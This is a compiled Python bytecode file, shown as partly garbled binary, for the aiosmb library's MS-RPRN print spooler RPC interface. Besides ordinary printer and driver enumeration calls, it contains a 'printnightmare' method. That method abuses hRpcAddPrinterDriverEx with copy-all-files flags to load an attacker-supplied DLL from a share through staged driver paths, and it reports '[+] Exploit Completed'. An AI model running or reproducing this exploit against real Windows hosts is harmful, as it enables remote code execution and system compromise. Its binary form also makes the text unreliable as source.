o
    Žõ±j+  ã                   @   sš   d dl Z d dlmZ d dlmZ d dlmZmZ d dlm	Z	 d dl
Z
d dlmZmZmZmZmZmZmZmZ d dlmZ edd
d„ƒZG dd„ deƒZdS )é    N)Úrprn)Úlogger)ÚInterfaceManagerÚInterfaceEndpoint)ÚNULL)ÚRPC_C_AUTHN_LEVEL_NONEÚRPC_C_AUTHN_LEVEL_CONNECTÚRPC_C_AUTHN_LEVEL_CALLÚRPC_C_AUTHN_LEVEL_PKTÚRPC_C_AUTHN_LEVEL_PKT_INTEGRITYÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚDCERPCExceptionÚRPC_C_AUTHN_GSS_NEGOTIATE)ÚasynccontextmanagerTFc                 C  sN   �t j| |d�I d H \}}|r|‚z|V  W | ¡ I d H  d S | ¡ I d H  w )N)Úconnect)ÚRPRNRPCÚfrom_smbconnectionÚclose)Ú
connectionÚ
auth_levelÚopenÚperform_dummyÚinstanceÚerr© r   ú–/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/dcerpc/v5/interfaces/rprnmgr.pyÚrprnrpc_from_smb   s   €"r   c                       sš   e Zd Z‡ fdd„Zedd„ ƒZedd„ ƒZdd„ Ze	e	e
jfd	d
„Zde	de	fdd„Zde	de	fdd„Zddd„Zddd„Zde	dddfdd„Z‡  ZS )r   c                    s   t ƒ  ||¡ d| _i | _d S )Nr   )ÚsuperÚ__init__Ú
handle_ctrÚprinter_handles)Úselfr   Úendpoint©Ú	__class__r   r   r      s   
zRPRNRPC.__init__c                 C   s"   t ddddtd�t dddtd�gS )NÚncan_npz$12345678-1234-abcd-ef00-0123456789abz1.0z\spoolss)ÚpipenameÚ	authlevelÚncacn_ip_tcp)r'   )r   r   ©Úclsr   r   r   Ú	endpoints$   s   þzRPRNRPC.endpointsc                 C   s
   t | |ƒS ©N)r   )r   r"   r   r   r   Úcreate_instance+   s   
zRPRNRPC.create_instancec                 Ã   s   �d S r,   r   r)   r   r   r   Úcleanup/   s   €zRPRNRPC.cleanupc           	   
   Ã   s†   �z+t  | j||||¡I d H \}}|d ur|‚| j}|  jd7  _|d | j|< |d fW S  tyB } z
d |fW  Y d }~S d }~ww )Né   ÚpHandle)r   ÚhRpcOpenPrinterÚdcer   r    Ú	Exception)	r!   ÚprinterNameÚ	pDatatypeÚpDevModeContainerÚaccessRequiredÚrespr   Ú	handle_noÚer   r   r   Úopen_printer2   s   €
€ÿzRPRNRPC.open_printerr   c           
   
   Ã   ót   �z"| j | }tj| j||||||d�I d H \}}|d ur|‚|d fW S  ty9 }	 z
d |	fW  Y d }	~	S d }	~	ww ©N)Ú
fdwOptionsÚpszLocalMachineÚdwPrinterLocalÚpOptions)r    r   Ú.hRpcRemoteFindFirstPrinterChangeNotificationExr2   r3   ©
r!   ÚhandleÚfdwFlagsr>   r?   r@   rA   r8   r   r:   r   r   r   rB   ?   ó&   €
ù	
€ÿz6RPRNRPC.hRpcRemoteFindFirstPrinterChangeNotificationExc           
   
   Ã   r<   r=   )r    r   Ú,hRpcRemoteFindFirstPrinterChangeNotificationr2   r3   rC   r   r   r   rG   R   rF   z4RPRNRPC.hRpcRemoteFindFirstPrinterChangeNotificationé   Ú c              
   Ã   s|   �z&|d dkr|d7 }t  | j|||¡I d H \}}|d ur#d |fW S |d fW S  ty= } z
d |fW  Y d }~S d }~ww )Néÿÿÿÿú )r   ÚhRpcEnumPrinterDriversr2   r3   )r!   ÚenvironmentsÚlevelÚnameÚdriversr   r:   r   r   r   Úenum_driverse   s   €

€ÿzRPRNRPC.enum_driversúWindows x64c              
   Ã   sž   �z7| j |dd�I d H \}}|d urd |fW S |D ]}tt |j¡jƒd }d|v r1|d f  W S qd tdƒfW S  tyN } z
d |fW  Y d }~S d }~ww )NrH   )rN   z\UNIDRV.DLLÚFileRepositoryzFailed to obtain driverpath)rQ   ÚstrÚpathlibÚPureWindowsPathÚ
DriverPathÚparentr3   )r!   rM   rP   r   ÚdriverrW   r:   r   r   r   Úget_driverpathp   s   €
ÿ€ÿzRPRNRPC.get_driverpathNÚ1234Fc                 Ã   sä  ��zO|d u r| j |d�I d H \}}|d urd |fW S |d dkr%|d7 }|d dkr/|d7 }|d dkr9|d7 }|d dkrC|d7 }t ¡ }d|d< d|d d< d|d d	 d
< ||d d	 d< ||d d	 d< ||d d	 d< ||d d	 d< d|d d	 d< tjdB dB }	| d¡d }
tj| j|||	d�I d H \}}|d ur¤|‚|du r±td |d ¡ƒ d|d d	 d< tj| j|||	d�I d H \}}|d urÎ|‚|du rÛtd |d ¡ƒ t	ddƒD ]n}zJd ||
¡|d d	 d< tj| j|||	d�I d H \}}|d u�r|‚|du �rtd|d |d f ƒ |d dk�r+|du �r&tdƒ W  W d S W qà t
�yN } z|du �rDtd|d |f ƒ W Y d }~qàd }~ww W d!S  t
�yq } z|du �rct ¡  d |fW  Y d }~S d }~ww )"N)rM   rJ   rK   rH   ÚLevelÚ
DriverInfoÚtagé   ÚLevel2ÚcVersionÚpNameÚpEnvironmentÚpDriverPathÚ	pDataFilez C:\Windows\System32\winhttp.dll ÚpConfigFileé   i €  ú\)rb   ÚpDriverContainerÚdwFileCopyFlagsFz[*] Stage 0: {0}Ú	ErrorCodez#C:\Windows\System32\kernelbase.dll z[*] Stage 1: {0}r/   é   z4C:\Windows\System32\spool\drivers\x64\3\old\{0}\{1} z[*] Stage %s: %sr   z[+] Exploit Completed)TN)FN)rZ   r   ÚDRIVER_CONTAINERÚAPD_COPY_ALL_FILESÚsplitÚhRpcAddPrinterDriverExr2   ÚprintÚformatÚranger3   Ú	tracebackÚ	print_exc)r!   ÚshareÚ
driverpathrD   rM   rO   Úsilentr   Úcontainer_infoÚflagsÚfilenamer8   Úir:   r   r   r   Úprintnightmare€   s|   €




ý
€ý
€ýzRPRNRPC.printnightmare)rH   rI   )rR   )Ú__name__Ú
__module__Ú__qualname__r   Úclassmethodr+   Ústaticmethodr-   r.   r   r   ÚSERVER_READr;   rB   rG   rQ   rZ   r}   Ú__classcell__r   r   r#   r   r      s    



r   )NTF)rt   Úaiosmb.dcerpc.v5r   Úaiosmbr   Úaiosmb.dcerpc.v5.interfacesr   r   Úaiosmb.dcerpc.v5.dtypesr   rU   Úaiosmb.dcerpc.v5.rpcrtr   r   r	   r
   r   r   r   r   Ú
contextlibr   r   r   r   r   r   r   Ú<module>   s    (
